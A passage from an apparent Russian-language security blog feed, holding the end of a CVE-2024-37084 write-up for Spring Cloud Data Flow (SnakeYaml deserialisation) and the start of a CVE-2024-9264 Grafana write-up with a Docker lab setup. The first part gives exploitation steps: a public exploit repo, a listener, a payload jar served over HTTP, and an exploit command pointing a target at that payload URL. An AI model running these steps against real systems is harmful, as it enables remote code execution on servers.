  &lt;pre id=&quot;8Lu8&quot;&gt;ZipUtil.unpack(packageFile.toFile(), packageDir);&lt;/pre&gt;
  &lt;p id=&quot;KUyi&quot;&gt;После загрузки файл будет распакован, чтобы иметь возможность считывать и обрабатывать содержащиеся в нем данные.&lt;/p&gt;
  &lt;ul id=&quot;giBx&quot;&gt;
    &lt;li id=&quot;LzcD&quot;&gt;Проверка, что пакет был распакован&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;52v5&quot;&gt;String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName() + &amp;quot;-&amp;quot; + uploadRequest.getVersion();
File unpackagedFile = new File(unzippedPath);
Assert.isTrue(unpackagedFile.exists(), &amp;quot;Package is expected to be unpacked, but it doesn&amp;#x27;t exist&amp;quot;);&lt;/pre&gt;
  &lt;p id=&quot;ljm1&quot;&gt;Подтверждает, что процесс распаковки прошел успешно и распакованный файл существует.&lt;/p&gt;
  &lt;ul id=&quot;JiWb&quot;&gt;
    &lt;li id=&quot;uDff&quot;&gt;Чтение и проверка метаданных пакета&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;53vb&quot;&gt;Package packageToUpload = this.packageReader.read(unpackagedFile);
PackageMetadata packageMetadata = packageToUpload.getMetadata();
if (!packageMetadata.getName().equals(uploadRequest.getName()) || !packageMetadata.getVersion().equals(uploadRequest.getVersion())) {
	throw new SkipperException(String.format(&amp;quot;Package definition in the request [%s:%s] differs from one inside the package.yml [%s:%s]&amp;quot;,
			uploadRequest.getName(), uploadRequest.getVersion(), packageMetadata.getName(), packageMetadata.getVersion()));
}&lt;/pre&gt;
  &lt;p id=&quot;E4r0&quot;&gt;Проверка, что прочитанные метаданные из пакета были разархивированы, и проведено сравнение с запросом на загрузку данных.&lt;/p&gt;
  &lt;ul id=&quot;e9Mf&quot;&gt;
    &lt;li id=&quot;YX7B&quot;&gt;Сохранение метаданных и связывание их с репозиторием&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;0p6v&quot;&gt;if (localRepositoryToUpload != null) {
	packageMetadata.setRepositoryId(localRepositoryToUpload.getId());
	packageMetadata.setRepositoryName(localRepositoryToUpload.getName());
}
packageMetadata.setPackageFile(new PackageFile((uploadRequest.getPackageFileAsBytes())));
return this.packageMetadataRepository.save(packageMetadata);&lt;/pre&gt;
  &lt;p id=&quot;JI7H&quot;&gt;Связывает метаданные пакета с репозиторием (если таковые имеются), а затем сохраняет метаданные пакета в базе данных.&lt;/p&gt;
  &lt;ul id=&quot;G79o&quot;&gt;
    &lt;li id=&quot;3ywn&quot;&gt;Обработка исключения и удаление временного каталога&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;vNmE&quot;&gt;finally {
	if (packageDirPath != null &amp;amp;&amp;amp; !FileSystemUtils.deleteRecursively(packageDirPath.toFile())) {
		logger.warn(&amp;quot;Temporary directory can not be deleted: &amp;quot; + packageDirPath);
	}
}&lt;/pre&gt;
  &lt;p id=&quot;30HY&quot;&gt;Ранее созданные временные директории будут удалены после завершения процесса.&lt;/p&gt;
  &lt;p id=&quot;u44G&quot;&gt;Если удалить не удается, записываются предупреждения в журнал.&lt;/p&gt;
  &lt;p id=&quot;pEuR&quot;&gt;Описание метода &lt;code&gt;read()&lt;/code&gt; в файле &lt;code&gt;DefaultPackageReader.java&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;SbLi&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/71/5e/715ef808-0ff4-49ad-a65e-c7dfb3026497.png&quot; width=&quot;1570&quot; /&gt;
  &lt;/figure&gt;
  &lt;ul id=&quot;J1tg&quot;&gt;
    &lt;li id=&quot;Ncn3&quot;&gt;Проверка и просмотр файлов в директории&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;558M&quot;&gt;Assert.notNull(packageDirectory, &amp;quot;File to load package from can not be null&amp;quot;);
try (Stream&amp;lt;Path&amp;gt; paths = Files.walk(Paths.get(packageDirectory.getPath()), 1)) {
    files = paths.map(i -&amp;gt; i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
    throw new SkipperException(&amp;quot;Could not process files in path &amp;quot; + packageDirectory.getPath() + &amp;quot;. &amp;quot; + e.getMessage(), e);
}&lt;/pre&gt;
  &lt;ul id=&quot;S8u4&quot;&gt;
    &lt;ul id=&quot;Hk8t&quot;&gt;
      &lt;li id=&quot;jjX9&quot;&gt;Проверяет правильность передачи по директориям. Затем использует &lt;code&gt;Files.walk()&lt;/code&gt;, чтобы просмотреть файлы в директории, получает список файлов и сохраняет в &lt;code&gt;files&lt;/code&gt;.&lt;/li&gt;
      &lt;li id=&quot;SntJ&quot;&gt;Проверяет, что директория не пуста, и обработывает исключение в случае, если не удается прочитать&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;ZBsF&quot;&gt;Обработка каждого файла&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;GF1I&quot;&gt;for (File file : files) {
    if (file.getName().equalsIgnoreCase(&amp;quot;package.yaml&amp;quot;) || file.getName().equalsIgnoreCase(&amp;quot;package.yml&amp;quot;)) {
        pkg.setMetadata(loadPackageMetadata(file)); // note 
        continue;
    }
    if (file.getName().endsWith(&amp;quot;manifest.yaml&amp;quot;) || file.getName().endsWith(&amp;quot;manifest.yml&amp;quot;)) {
        fileHolders.add(loadManifestFile(file));
        continue;
    }
    if (file.getName().equalsIgnoreCase(&amp;quot;values.yaml&amp;quot;) || file.getName().equalsIgnoreCase(&amp;quot;values.yml&amp;quot;)) {
        pkg.setConfigValues(loadConfigValues(file));
        continue;
    }
    if (file.getAbsoluteFile().isDirectory() &amp;amp;&amp;amp; file.getName().equals(&amp;quot;templates&amp;quot;)) {
        pkg.setTemplates(loadTemplates(file));
        continue;
    }
    if ((file.getName().equalsIgnoreCase(&amp;quot;packages&amp;quot;) &amp;amp;&amp;amp; file.isDirectory())) {
        File[] dependentPackageDirectories = file.listFiles();
        List&amp;lt;Package&amp;gt; dependencies = new ArrayList&amp;lt;&amp;gt;();
        for (File dependentPackageDirectory : dependentPackageDirectories) {
            dependencies.add(read(dependentPackageDirectory));
        }
        pkg.setDependencies(dependencies);
    }
}&lt;/pre&gt;
  &lt;p id=&quot;ekxa&quot;&gt;Этот цикл просматривает файлы, сортируя их в соответствии с каждым типом, который должен обрабатываться.&lt;/p&gt;
  &lt;ul id=&quot;oCUp&quot;&gt;
    &lt;li id=&quot;IQG0&quot;&gt;Загрузка пакета метаданных&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;15Be&quot;&gt;private PackageMetadata loadPackageMetadata(File file) {
    DumperOptions options = new DumperOptions();
    Representer representer = new Representer(options);
    representer.getPropertyUtils().setSkipMissingProperties(true);
    LoaderOptions loaderOptions = new LoaderOptions();
    Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
    String fileContents = null;
    try {
        fileContents = FileUtils.readFileToString(file);
    }
    catch (IOException e) {
        throw new SkipperException(&amp;quot;Error reading yaml file&amp;quot;, e);
    }
    PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
    return pkgMetadata;
}&lt;/pre&gt;
  &lt;p id=&quot;lmLS&quot;&gt;Эта функция использует библиотеку &lt;code&gt;SnakeYaml&lt;/code&gt; для чтения файла &lt;code&gt;YAML&lt;/code&gt; и преобразует его в &lt;code&gt;objectPackageMetadata&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;wikZ&quot;&gt;Она использует конструктор для отображения свойств файла &lt;code&gt;YAML&lt;/code&gt; в object &lt;code&gt;Java&lt;/code&gt;.&lt;/p&gt;
  &lt;ul id=&quot;gbEF&quot;&gt;
    &lt;li id=&quot;ioQP&quot;&gt;Загрузка шаблона файла&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;nZP2&quot;&gt;private List&amp;lt;Template&amp;gt; loadTemplates(File templatePath) {
    try (Stream&amp;lt;Path&amp;gt; paths = Files.walk(Paths.get(templatePath.getAbsolutePath()), 1)) {
        files = paths.map(i -&amp;gt; i.toAbsolutePath().toFile()).collect(Collectors.toList());
    }
    catch (IOException e) {
        throw new SkipperException(&amp;quot;Could not process files in template path &amp;quot; + templatePath, e);
    }

    List&amp;lt;Template&amp;gt; templates = new ArrayList&amp;lt;&amp;gt;();
    for (File file : files) {
        if (isYamlFile(file)) {
            Template template = new Template();
            template.setName(file.getName());
            try {
                template.setData(new String(Files.readAllBytes(file.toPath()), &amp;quot;UTF-8&amp;quot;));
            }
            catch (IOException e) {
                throw new SkipperException(&amp;quot;Could read template file &amp;quot; + file.getAbsoluteFile(), e);
            }
            templates.add(template);
        }
    }
    return templates;
}&lt;/pre&gt;
  &lt;p id=&quot;uREP&quot;&gt;Эта функция переходит в папку &amp;quot;шаблоны&amp;quot;, считывает каждый файл &lt;strong&gt;&lt;code&gt;YAML&lt;/code&gt;&lt;/strong&gt; и преобразует в &lt;code&gt;object Template&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;3s2U&quot;&gt;Она загружает содержимое файла и сохраняет в шаблоне для последующего использования.&lt;/p&gt;
  &lt;ul id=&quot;vxN0&quot;&gt;
    &lt;li id=&quot;4AOP&quot;&gt;Загрузка значений конфигурации&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;HuVU&quot;&gt;private ConfigValues loadConfigValues(File file) {
    ConfigValues configValues = new ConfigValues();
    try {
        configValues.setRaw(new String(Files.readAllBytes(file.toPath()), &amp;quot;UTF-8&amp;quot;));
    }
    catch (IOException e) {
        throw new SkipperException(&amp;quot;Could read values file &amp;quot; + file.getAbsoluteFile(), e);
    }
    return configValues;
}&lt;/pre&gt;
  &lt;p id=&quot;aWRL&quot;&gt;Считывает значения &lt;code&gt;файла.yaml&lt;/code&gt; или &lt;code&gt;values.yml&lt;/code&gt; и сохраняет его содержимое в объекте &lt;code&gt;ConfigValues&lt;/code&gt;.&lt;/p&gt;
  &lt;ul id=&quot;hDHA&quot;&gt;
    &lt;li id=&quot;0mwY&quot;&gt;Загрузка packageMetadata&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;Ssqw&quot;&gt;private PackageMetadata loadPackageMetadata(File file) {
		// The Representer will not try to set the value in the YAML on the
		// Java object if it isn&amp;#x27;t present on the object
		DumperOptions options = new DumperOptions();
		Representer representer = new Representer(options);
		representer.getPropertyUtils().setSkipMissingProperties(true);
		LoaderOptions loaderOptions = new LoaderOptions();
		Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
		String fileContents = null;
		try {
			fileContents = FileUtils.readFileToString(file);
		}
		catch (IOException e) {
			throw new SkipperException(&amp;quot;Error reading yaml file&amp;quot;, e);
		}
		PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
		return pkgMetadata;
	}
	PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);&lt;/pre&gt;
  &lt;p id=&quot;77QG&quot;&gt;Содержимое строки &lt;code&gt;YAML&lt;/code&gt; (&lt;code&gt;FileContents&lt;/code&gt;) преобразуется в объект &lt;code&gt;PackageMetadata&lt;/code&gt; с помощью&lt;code&gt; yaml.load(FileContents)&lt;/code&gt; из библиотеки &lt;code&gt;SnakeYaml&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;gzi3&quot;&gt;&lt;strong&gt;Десериализация&lt;/strong&gt;: Когда &lt;code&gt;SnakeYaml&lt;/code&gt; встречает тег &lt;code&gt;!!javax.script.ScriptEngineManager&lt;/code&gt; создает объект класса &lt;code&gt;Java&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;7NiB&quot;&gt;Это может привести к выполнению кода &lt;code&gt;Java&lt;/code&gt;.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;UtxF&quot;&gt;Реализация уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;8tdu&quot;&gt;Готовое решение для генерации полезной нагрузки можно скачать из &lt;code&gt;github&lt;/code&gt; репозитория:&lt;/p&gt;
  &lt;p id=&quot;Vy9u&quot;&gt;&lt;a href=&quot;https://github.com/Ly4j/CVE-2024-37084-Exp&quot; target=&quot;_blank&quot;&gt;https://github.com/Ly4j/CVE-2024-37084-Exp&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;evIt&quot;&gt;Меняем содержимое функции &lt;code&gt;Runtime.getRunrime().exec()&lt;/code&gt; в файле &lt;code&gt;src/rtsploit/AwesomeScriptEngineFactory.java&lt;/code&gt;.&lt;/p&gt;
  &lt;figure id=&quot;izeG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f5/8e/f58ede79-065a-4a46-b7d1-c1ec80c752f7.png&quot; width=&quot;1342&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;vJJB&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5a/b4/5ab4cb21-4d8a-46f0-9073-7415759e079a.png&quot; width=&quot;708&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;nUVI&quot;&gt;Поднимаем слушателя на указанный в нагрузке порт:&lt;/p&gt;
  &lt;figure id=&quot;tkF3&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0b/55/0b55a56e-d213-4366-a70b-2a16c7dfae69.png&quot; width=&quot;515&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NRmV&quot;&gt;Запускаем &lt;code&gt;generate-yaml-payload.jar.py&lt;/code&gt;, чтобы создать файл &lt;code&gt;yaml-payload.jar командой&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;rnX0&quot;&gt;python generate-yaml-payload.jar.py&lt;/pre&gt;
  &lt;figure id=&quot;1CHx&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/09/00/09000222-073b-4009-b293-50099a075a62.png&quot; width=&quot;1084&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;8ijY&quot;&gt;Поднимаем веб-сервис с помощью Python командой:&lt;/p&gt;
  &lt;pre id=&quot;r6Um&quot;&gt;python3 -m http.server 8080&lt;/pre&gt;
  &lt;figure id=&quot;yANa&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9a/cf/9acf3e7c-fab6-44a8-abc4-4a7b463e82d8.png&quot; width=&quot;528&quot; /&gt;
  &lt;/figure&gt;
  &lt;blockquote id=&quot;ozDO&quot;&gt;Каждый раз, когда вы выполняете другую команду, вам нужно переименовывать файл &lt;code&gt;yaml-payload.jar&lt;/code&gt;, то есть файл &lt;code&gt;xx.jar&lt;/code&gt;, к которому вы обращаетесь, каждый раз под другим именем.&lt;/blockquote&gt;
  &lt;p id=&quot;BebO&quot;&gt;В противном случае новая команда не будет действовать.&lt;/p&gt;
  &lt;p id=&quot;n0DU&quot;&gt;Эксплуатируем:&lt;/p&gt;
  &lt;pre id=&quot;gun1&quot;&gt;cve-2024-37084-exp.py -u http://localhost:7577 -payload http://ip-address:port/yaml-payload.jar&lt;/pre&gt;
  &lt;figure id=&quot;kAJr&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/50/ed/50edce6e-2fc9-4cac-be6c-790ad3ddfa83.png&quot; width=&quot;1818&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;2OlL&quot;&gt;Заключение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;mb1N&quot;&gt;В версиях &lt;code&gt;Spring Cloud Data Flow&lt;/code&gt; до &lt;code&gt;2.11.4&lt;/code&gt; злоумышленник, имеющий доступ к &lt;code&gt;API-интерфейсу сервера Skipper&lt;/code&gt;, может использовать специально созданный запрос на загрузку для записи произвольного файла в любое место в файловой системе, что может привести к выполнению произвольного кода на стороне сервера.&lt;/p&gt;
  &lt;p id=&quot;67RS&quot;&gt;Чтобы исправить уязвимость &lt;code&gt;CVE-2024-37084&lt;/code&gt; в &lt;code&gt;Spring Cloud Data Flow&lt;/code&gt;, рекомендуется обновить версию до &lt;code&gt;2.11.4&lt;/code&gt; или &lt;code&gt;выше&lt;/code&gt;.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:grafana_sql_cve_2024_9264</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/grafana_sql_cve_2024_9264?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>Уязвимость CVE-2024-9264: Удаленное выполнение кода в Grafana через SQL-выражения</title><published>2024-12-03T10:53:53.626Z</published><updated>2024-12-03T10:56:30.469Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/6a/95/6a9527d9-e693-4c56-a3dd-eb99a1922fee.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/80/06/800639fe-f413-401b-85b9-03ad579513e8.jpeg&quot;&gt;Grafana – это популярная платформа для мониторинга и визуализации данных. Уязвимость CVE-2024-9264 представляет собой критический баг в системе мониторинга и визуализации данных Grafana, связанный с недостаточной фильтрацией входных данных в экспериментальной функции SQL-выражений. Данная уязвимость позволяет любым аутентифицированным пользователям выполнять произвольные SQL-запросы в базе данных DuckDB, что открывает возможности для проведения SQL-инъекций.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;Guhh&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;lnXm&quot;&gt;&lt;strong&gt;Grafana&lt;/strong&gt; – это популярная платформа для мониторинга и визуализации данных,&lt;br /&gt;которая широко используется в &lt;code&gt;IT&lt;/code&gt;-среде для создания интерактивных панелей&lt;br /&gt;управления и графиков на основе различных источников данных. Она поддерживает интеграцию с множеством баз данных и сервисов, включая &lt;code&gt;Prometheus&lt;/code&gt;, &lt;code&gt;InfluxDB&lt;/code&gt;, &lt;code&gt;Graphite&lt;/code&gt;, &lt;code&gt;MySQL&lt;/code&gt;, &lt;code&gt;PostgreSQL&lt;/code&gt; и другие. &lt;/p&gt;
  &lt;p id=&quot;12eo&quot;&gt;Благодаря своей гибкости и удобству использования, &lt;code&gt;Grafana&lt;/code&gt; стала стандартным инструментом для многих компаний, работающих с большими объемами данных. &lt;code&gt;Grafana&lt;/code&gt; предоставляет мощные инструменты для анализа метрик и логов, позволяя пользователям создавать настраиваемые дашборды, отслеживать производительность приложений и инфраструктуры, а также получать уведомления о критических событиях.&lt;/p&gt;
  &lt;p id=&quot;dnjz&quot;&gt;&lt;strong&gt;DuckDB&lt;/strong&gt; – это встроенная база данных, ориентированная на работу с аналитическими запросами и обработку больших объемов данных. Это легковесная реляционная система управления базами данных (&lt;code&gt;СУБД&lt;/code&gt;), разработанная для встраивания в приложения и работы непосредственно в оперативной памяти. &lt;code&gt;DuckDB&lt;/code&gt; поддерживает &lt;code&gt;SQL&lt;/code&gt;-запросы и оптимизирован для быстрого выполнения сложных аналитических запросов.&lt;/p&gt;
  &lt;p id=&quot;dXeQ&quot;&gt;Одной из ключевых особенностей &lt;code&gt;DuckDB&lt;/code&gt; является её способность работать внутри других приложений, таких как &lt;code&gt;Grafana&lt;/code&gt;, обеспечивая высокую скорость обработки данных и минимальные требования к ресурсам. Однако, как и любое программное обеспечение, они не застрахованы от уязвимостей, одна из которых будет рассмотрена далее.&lt;/p&gt;
  &lt;blockquote id=&quot;W6Sg&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;pXbV&quot;&gt;Описание уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;wymx&quot;&gt;Уязвимость &lt;code&gt;CVE-2024-9264&lt;/code&gt; представляет собой критический баг в системе мониторинга и визуализации данных &lt;code&gt;Grafana&lt;/code&gt;, связанный с недостаточной фильтрацией входных данных в экспериментальной функции &lt;code&gt;SQL&lt;/code&gt;-выражений. &lt;/p&gt;
  &lt;p id=&quot;psPm&quot;&gt;Данная уязвимость позволяет любым аутентифицированным пользователям выполнять произвольные &lt;code&gt;SQL&lt;/code&gt;-запросы в базе данных &lt;code&gt;DuckDB&lt;/code&gt;, что открывает возможности для проведения &lt;code&gt;SQL&lt;/code&gt;-инъекций.&lt;/p&gt;
  &lt;p id=&quot;2fzT&quot;&gt;Злоумышленники могут использовать эту уязвимость для &lt;code&gt;LFI&lt;/code&gt; (чтения файлов на сервера) или даже &lt;code&gt;RCE&lt;/code&gt; (выполнения произвольного кода на сервера). Уязвимость имеет оценку в &lt;code&gt;9.4&lt;/code&gt; баллов по &lt;code&gt;CVSS&lt;/code&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;7GIX&quot;&gt;&lt;strong&gt;SQL-инъекция&lt;/strong&gt; — это тип уязвимости в веб-приложениях, позволяющий злоумышленникам вставлять произвольные &lt;code&gt;SQL&lt;/code&gt; -запросы в поля ввода, что может привести к несанкционированному доступу к данным, их изменению или удалению.&lt;/blockquote&gt;
  &lt;blockquote id=&quot;EVul&quot;&gt;&lt;strong&gt;LFI (Local File Inclusion)&lt;/strong&gt; – это тип уязвимости в веб-приложениях, позволяющий злоумышленникам включать локальные файлы на сервере в ответ на запрос пользователя. Это может привести к раскрытию конфиденциальной информации, такой как пароли или исходный код приложения.&lt;/blockquote&gt;
  &lt;blockquote id=&quot;zhjB&quot;&gt;&lt;strong&gt;RCE (Remote Code Execution)&lt;/strong&gt; – это тип уязвимости в веб-приложениях, позволяющий злоумышленникам выполнять произвольный код на удаленном сервере. Это одна из самых опасных уязвимостей, так как она дает полный контроль над системой.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;0xAZ&quot;&gt;Подготовка стендового окружения&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;d1FJ&quot;&gt;Сначала создадим файл &lt;code&gt;Dockerfile&lt;/code&gt; . Этот файл будет использоваться для построения &lt;code&gt;Docker&lt;/code&gt;-образа, который включает в себя &lt;code&gt;Grafana&lt;/code&gt; и &lt;code&gt;DuckDB&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;lPw7&quot;&gt;Так как &lt;code&gt;CVE-2024-9264&lt;/code&gt; подвержены версии &lt;code&gt;Grafana OSS&lt;/code&gt; и &lt;code&gt;Enterprise 11.0.0&lt;/code&gt; — &lt;code&gt;11.0.5&lt;/code&gt;, &lt;code&gt;11.1.0&lt;/code&gt; — &lt;code&gt;11.1.6&lt;/code&gt; и &lt;code&gt;11.2.0&lt;/code&gt; — &lt;code&gt;11.2.1&lt;/code&gt;, будем использовать &lt;code&gt;grafana&lt;/code&gt; &lt;code&gt;11.0.0&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;mgMq&quot;&gt;Для работы этой уязвимости двоичный файл &lt;code&gt;DuckDB&lt;/code&gt; должен присутствовать в&lt;br /&gt;&lt;code&gt;$PATH&lt;/code&gt; &lt;code&gt;Grafana&lt;/code&gt;. По умолчанию этот двоичный файл не устанавливается в дистрибутивах &lt;code&gt;Grafana&lt;/code&gt;, поэтом при подготовки стенда мы дополним &lt;code&gt;Dockerfile&lt;/code&gt;&lt;br /&gt;установкой &lt;code&gt;DuckDB&lt;/code&gt;: &lt;a href=&quot;https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cli-linux-amd64.zip&quot; target=&quot;_blank&quot;&gt;https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cli-linux-amd64.zip&lt;/a&gt;&lt;/p&gt;
  &lt;pre id=&quot;0qkX&quot;&gt;# Dockerfile
FROM grafana/grafana:11.0.0-ubuntu

USER root

# Установка DuckDB
RUN apt-get update &amp;amp;&amp;amp; apt-get install -y &amp;amp;&amp;amp; apt-get install unzip -
y \
   wget \
   &amp;amp;&amp;amp; wget
https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cl
i-linux-amd64.zip \
   &amp;amp;&amp;amp; unzip duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
   &amp;amp;&amp;amp; chmod +x /usr/local/bin/duckdb \
   &amp;amp;&amp;amp; rm duckdb_cli-linux-amd64.zip
   
# Добавление DuckDB в PATH
ENV PATH=&amp;quot;/usr/local/bin:${PATH}&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;PIYS&quot;&gt;Соберем Dockerfile в новый образ:&lt;/p&gt;
  &lt;pre id=&quot;uL92&quot;&gt;docker build -t test-cve-grafana-duckdb .&lt;/pre&gt;
  &lt;p id=&quot;czME&quot;&gt;Эта команда создаст новый Docker-образ с именем &lt;code&gt;test-cve-grafana-&lt;br /&gt;duckdb&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;rapg&quot;&gt;Запустим созданный Docker-образ:&lt;/p&gt;
  &lt;pre id=&quot;OX0A&quot;&gt;sudo docker run --name=grafana -p 3000:3000 test-cve-grafana-
duckdb&lt;/pre&gt;
  &lt;h3 id=&quot;SB3U&quot;&gt;Создание пользователя&lt;/h3&gt;
  &lt;p id=&quot;DAR8&quot;&gt;После запуска Docker-образа перейдем по &lt;a href=&quot;http://localhost:3000&quot; target=&quot;_blank&quot;&gt;http://localhost:3000&lt;/a&gt; и авторизуемся со стандартным логином и паролем &lt;code&gt;admin:admin&lt;/code&gt; , после чего создадим нового пользователя с минимальной ролью viewer (только на просмотр)&lt;/p&gt;
  &lt;figure id=&quot;iSVL&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/af/64/af647087-b949-400d-b6f9-a2fd85bfab4d.png&quot; width=&quot;1910&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;aOvf&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8a/21/8a214afc-78e3-451f-8992-6a95bbae22ce.png&quot; width=&quot;1916&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;WWeR&quot;&gt;Разбор уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;1rFl&quot;&gt;Уязвимым является запрос &lt;code&gt;POST&lt;/code&gt; к &lt;code&gt;/api/ds/query&lt;/code&gt; в &lt;code&gt;Grafana&lt;/code&gt;, который предназначен для выполнения запросов к источникам данных (&lt;code&gt;Data Sources&lt;/code&gt;) для сохранения или обновления панели управления. С помощью этого &lt;code&gt;API&lt;/code&gt; пользователи могут отправлять запросы к различным подключенным базам данных или другим источникам данных, настроенным в &lt;code&gt;Grafana&lt;/code&gt;, и получать результаты этих запросов.&lt;/p&gt;
  &lt;p id=&quot;LaqK&quot;&gt;Схема тела &lt;code&gt;JSON&lt;/code&gt;:&lt;/p&gt;
  &lt;ul id=&quot;oTIO&quot;&gt;
    &lt;li id=&quot;Rpyk&quot;&gt;&lt;strong&gt;queries: &lt;/strong&gt;массив объектов, каждый из которых описывает отдельный запрос кисточнику данных.&lt;/li&gt;
    &lt;ul id=&quot;Yr5u&quot;&gt;
      &lt;li id=&quot;UevN&quot;&gt;&lt;strong&gt;refId:&lt;/strong&gt; Уникальный идентификатор запроса. В данном случае &lt;code&gt;&amp;quot;GIS&amp;quot;,&lt;/code&gt; но может быть любым.&lt;/li&gt;
      &lt;li id=&quot;z3x2&quot;&gt;&lt;strong&gt;datasource:&lt;/strong&gt; Информация об источнике данных, к которому отправляется запрос.&lt;/li&gt;
      &lt;ul id=&quot;bxLP&quot;&gt;
        &lt;li id=&quot;to0h&quot;&gt;&lt;strong&gt;type&lt;/strong&gt;: Тип источника данных. Здесь указан &lt;code&gt;&amp;quot;GIS&amp;quot;.&lt;/code&gt;&lt;/li&gt;
        &lt;li id=&quot;B1ey&quot;&gt;&lt;strong&gt;uid&lt;/strong&gt;: Уникальный идентификатор источника данных. &lt;code&gt;&amp;quot;__expr__&amp;quot;&lt;/code&gt;, что указывает на использование экспериментальных выражений.&lt;/li&gt;
        &lt;li id=&quot;TwCQ&quot;&gt;&lt;strong&gt;name&lt;/strong&gt;: Имя источника данных. Указано как &lt;code&gt;&amp;quot;GIS&amp;quot;&lt;/code&gt; .&lt;br /&gt;&lt;/li&gt;
      &lt;/ul&gt;
      &lt;li id=&quot;lukL&quot;&gt;&lt;strong&gt;type&lt;/strong&gt;: Тип запроса. В данном случае &lt;code&gt;&amp;quot;sql&amp;quot;&lt;/code&gt; , что указывает на &lt;code&gt;SQL&lt;/code&gt;- запрос.&lt;/li&gt;
      &lt;li id=&quot;JTDf&quot;&gt;&lt;strong&gt;hide&lt;/strong&gt;: Флаг, определяющий, следует ли скрывать результат запроса. Установлен в &lt;code&gt;false&lt;/code&gt; .&lt;/li&gt;
